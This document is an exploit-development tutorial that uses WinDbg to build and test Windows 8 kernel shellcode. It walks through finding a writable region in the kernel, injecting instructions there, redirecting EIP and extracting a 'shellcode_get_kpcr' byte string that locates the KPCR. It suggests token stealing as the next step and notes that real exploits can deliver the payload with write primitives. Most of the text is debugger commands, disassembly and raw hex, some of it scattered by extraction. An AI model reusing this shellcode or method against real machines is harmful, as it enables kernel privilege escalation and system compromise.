How To Build A Kernel Shellcode Design and Testing Platform For Windows 8
How To Build A Kernel Shellcode Design and Testing Platform For Windows 8
How To Build A Kernel Shellcode Design and Testing Platform For Windows 8
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
contains 0000000002A07063
pfn 2a07
---DA--KWEV
(811fb480)
contains 00000000025FC963
pfn 25fc
-G-DA--KWEV
nt!HvlpLogicalProcessorRegions+0xb80
(81206480)
nt!HvlpNodes
///////////////////////////////////////////////////////////////////////////////////
The memory area is known as HvlpLogicalProcessorRegions and it is started from
0x811fb480 and end at 0x81206480. Please note that the memory addresses will be
different in your machine because the kernel base is always ASLRed. Now we need to
make sure the HvlpLogicalProcessorRegions is included in the nt kernel export list
or not.
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "HvlpLogicalProcessorRegions"
.shell: Process exited
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "Hvlp"
.shell: Process exited
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "Hvl"
814c9f18 "HvlGetLpIndexFromApicId"
814c9f30 "HvlQueryActiveHypervisorProcesso"
814c9f57 "HvlQueryActiveProcessors"
814c9f70 "HvlQueryConnection"
814c9f83 "HvlQueryHypervisorProcessorNodeN"
814c9fa9 "HvlQueryProcessorTopology"
814c9fc3 "HvlQueryProcessorTopologyCount"
814c9fe2 "HvlQueryProcessorTopologyHighest"
814ca005 "HvlRegisterInterruptCallback"
814ca022 "HvlRegisterWheaErrorNotification"
814ca043 "HvlUnregisterInterruptCallback"
814ca062 "HvlUnregisterWheaErrorNotificati"
.shell: Process exited
There is nothing in the export list that match "HvlpLogicalProcessorRegions", and even
with prefix "Hvlp". If search for those with prefix "Hvl", then there are some, but
nothing related to the "HvlpLogicalProcessorRegions". So, from the angle of kernel
shellcode design, we can only get the base of "HvlpLogicalProcessorRegions" by using
offset comparison technique as discussed in previous paper - "How to Defeat Windows 8
ASLR in Getting the Address of KPCR". Anyway, since we are using windbg with symbol
files now, we no need to consider this first. But now, how about the memory area with
W permission ? Again, after several tries, a fixed address is very suitable to do the
job, and it is located at 0xffdf0000.
///////////////////////////////////////////////////////////////////////////////////
VA ffdf0000
PDE at C0603FF0
PTE at C07FEF80
contains 0000000002A96063 contains 8000000002A58163
pfn 2a96
---DA--KWEV
pfn 2a58
-G-DA--KW-V
///////////////////////////////////////////////////////////////////////////////////
Nice, let's try with some instructions. First, check for any content in
HvlpLogicalProcessorRegions.
kd> dd HvlpLogicalProcessorRegions
811fb480 00000000 00000000 00000000
811fb490 00000000 00000000 00000000
811fb4a0 00000000 00000000 00000000
811fb4b0 00000000 00000000 00000000
811fb4c0 00000000 00000000 00000000
00000000
00000000
00000000
00000000
00000000
Page: 2
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
811fb4d0
811fb4e0
811fb4f0
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
90
00
00
00
00
00
00
00
90
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
................
................
................
................
................
................
................
Good, the instructions already there. Let the kernel run again to ensure the system
will not hang due to our modification to the kernel memory. Issue command 'g' and
do something such as open windows explorer at windows 8, it should work properly.
Now, break the system again and check our instructions are still there or not.
kd> db HvlpLogicalProcessorRegions
811fb480 90 90 0f 01 05 00 00 df-ff
811fb490 00 00 00 00 00 00 00 00-00
811fb4a0 00 00 00 00 00 00 00 00-00
811fb4b0 00 00 00 00 00 00 00 00-00
811fb4c0 00 00 00 00 00 00 00 00-00
811fb4d0 00 00 00 00 00 00 00 00-00
811fb4e0 00 00 00 00 00 00 00 00-00
811fb4f0 00 00 00 00 00 00 00 00-00
90
00
00
00
00
00
00
00
90
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
................
................
................
................
................
................
................
Page: 3
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
kd> r eip
eip=811003a4
So, redirect the EIP to HvlpLogicalProcessorRegions now.
kd> r eip=HvlpLogicalProcessorRegions
kd> r eip
eip=811fb480
Well, let's disassemble it.
kd> u eip
nt!HvlpLogicalProcessorRegions:
811fb480 90
nop
811fb481 90
nop
811fb482 0f01050000dfff sgdt
811fb489 90
nop
811fb48a 90
nop
811fb48b 0000
add
811fb48d 0000
add
811fb48f 0000
add
0f998080
16c4f5d0
00000043
0057005c
00000000
00000000
00000000
00000000
a2cd7d0e
01cdbbb7
00000043
006e0069
00000000
00000000
00000000
00000000
00000000
01cdbbb7
014c014c
006f0064
00000000
00000000
00000000
00000000
30
00
0e
00
00
00
00
00
99
c4
00
57
00
00
00
00
7d
bb
00
00
00
00
00
00
80
d0
43
5c
00
00
00
00
80
f5
00
00
00
00
00
00
0f-0e
16-b7
00-43
00-69
00-00
00-00
00-00
00-00
cd
cd
00
6e
00
00
00
00
a2
01
00
00
00
00
00
00
00
b7
4c
64
00
00
00
00
00
bb
01
00
00
00
00
00
00
cd
4c
6f
00
00
00
00
00
01
01
00
00
00
00
00
...0.....}......
................
.@#.C...C...L.L.
C.:.\.W.i.n.d.o.
w.s.............
................
................
................
gdt register is 48-bit, which is 6 bytes and the gdt base is located at byte 2-5
(zero base). So, the gdt base should be 0x80803000. Let's verify.
kd> r gdtr
Page: 4
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
gdtr=80803000
Yes, it seems everything fine. How about to get the KPCR ?
kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 nop
nop
811fb4a4 nop
nop
811fb4a5 popad
popad
811fb4a6 nop
nop
811fb4a7 nop
nop
811fb4a8
kd> r eip=HvlpLogicalProcessorRegions
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60
pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff sgdt
fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff
mov
eax,dword ptr ds:[FFDF0002h]
Page: 5
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037
mov
dh,byte ptr [eax+37h]
kd> r eax
eax=80803000
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034
mov
dl,byte ptr [eax+34h]
kd> db eax
80803000 00 00 00 00 00 00 00 00-ff ff 00 00 00 9b cf
80803010 ff ff 00 00 00 93 cf 00-ff ff 00 00 00 fb cf
80803020 ff ff 00 00 00 f3 cf 00-ab 20 00 80 7f 8b 00
80803030 80 42 00 90 20 93 40 81-ff 0f 00 00 00 f3 40
80803040 ff ff 00 04 00 f2 00 00-00 00 00 00 00 00 00
80803050 68 00 00 30 1d 89 00 81-68 00 68 30 1d 89 00
80803060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00
80803070 ff 03 00 30 80 92 00 80-00 00 00 00 00 00 00
kd> r dh
dh=81
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda
mov
bx,dx
kd> r dl
dl=20
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310
shl
ebx,10h
kd> r ebx
ebx=81208120
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833
mov
bh,byte ptr [eax+33h]
kd> r ebx
ebx=81200000
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832
mov
bl,byte ptr [eax+32h]
kd> r bh
bh=90
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 90
nop
kd> r bl
bl=0
kd> r ebx
ebx=81209000
00
00
80
00
00
81
00
00
................
................
......... ......
.B.. .@.......@.
................
h..0....h.h0....
................
...0............
Si
ze
-Bg
Gr
an
-By
Pr
es
-P
Lo
ng Flags
-- -------Nl 00000493
Good, we are at the right point. Now, let us extract the shellcode in getting KPCR.
811fb485
811fb48c
811fb491
811fb494
811fb497
0f01050000dfff
a10200dfff
8a7037
8a5034
668bda
sgdt
mov
mov
mov
mov
File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
811fb49a c1e310
811fb49d 8a7833
811fb4a0 8a5832
shl
mov
mov
ebx,10h
bh,byte ptr [eax+33h]
bl,byte ptr [eax+32h]
shellcode_get_kpcr=("\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37"
"\x8a\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32")
So, after the shellcode_get_kpcr get executed, the address of KPCR should be at ebx,
and we can do the rest of the things such as token stealing or whatever up to your
imagination. Besides, this version of shellcode contains illegal null bytes which is
normally not allowed by the system. Regarding how to avoid null bytes, I reserve this
as your own exercise. After everything completed, we revert the machine to the
original state. Let's run over the instruction "popad".
kd> p
nt!HvlpLogicalProcessorRegions+0x24:
811fb4a4 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 61
popad
kd> p
nt!HvlpLogicalProcessorRegions+0x26:
811fb4a6 90
nop
kd> r eax
eax=00000001
kd> r ebx
ebx=8120b354
Now, reset the address of EIP to the original state.
ebx=8120b354
kd> r eip=811003a4
Issue command 'g' to run the kernel again, the system should revert to the working
state.
kd> g
Yes, the system now working well again. For your info, when using this technique in
the real exploit, the shellcode can put directly to HvlpLogicalProcessorRegions by
using multiple of write4 or write8. Regarding to the issue of how to get the address
of HvlpLogicalProcessorRegions in ASLRed kernel, please refer my previous paper of
"How to Defeat Windows 8 ASLR in Getting the Address of KPCR"
Page: 7